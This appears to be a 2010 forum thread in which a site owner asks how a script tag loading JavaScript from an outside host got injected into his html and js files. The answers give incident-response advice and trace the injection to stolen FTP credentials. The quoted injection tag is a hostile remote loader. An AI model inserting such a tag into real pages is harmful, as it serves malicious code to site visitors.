0

my site is tagged as dangerous by Google / StopBadware.org, and I found this in severals js/html files :

<script type="text/javascript" src="http://oployau.fancountblogger.com:8080/Gigahertz.js"></script>
<!--a0e2c33acd6c12bdc9e3f3ba50c98197-->

I cleaned severals files, I restore a backup but how to understand how the worm had been installed? What can I look for in log files? This server, a Centos 5, is only used as an apache server, with ours programs, a tikiwiki, a drupal installed.

Thanks
Cédric

2 Answers 2

1

Intrusion incident analysis is never easy, in particular if you haven't followed standard procedure for recovery (take physical server off-line, grab a sector image of all file systems it has access to, rebuild machine completely from install media, restore data).

Typically, you would review all the logs files fist, starting with the Apache logs. The most likely attack vector is, in your case, drupal but it's by no mean the only possible one so all logs should be checked (I mean ALL logs). Depending on the file system you're using, additional steps can be taken to identify what activity took place at the time of infection and figuring out both the attack vector used and what was done.

Meanwhile, check all the software your machine is running and make sure it's all up to date. That includes all your drupal modules, themes, etc. I'd also check any custom code with a comb.

Edit: I forgot to mention the fact that, in your case and since you apparently don't have the relevant expertise in house, you might want to consider contracting the incident to a security company that does forensic analysis: it might be a bit on the expensive side, but you'll get clear answers about what happened and how to prevent it.

2

We have this problem on our servers as well (started 11. june), with the worm injecting the exact same contents as you wrote above.

It looks like there's no connection with anything apache/php related; the worms simply connects via FTP and appends these script tags to *.php and *.html. There's no invalid passwords; they get it on the first try.

Because of this, I think it might be client-related. I think the clients have a virus that either listens for any FTP activity, or perhaps checks for any saved passwords in FileZilla. I'm not sure though, and will investigate this further. If you have any luck, please inform us via this thread.

Edit: FYI, our client didn't use Drupal. It was only Joomla, and some static HTML files.

1
  • I am looking through ftp log for brute force attack, but you are right, it had modified files via ftp. Jun 15, 2010 at 14:23

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .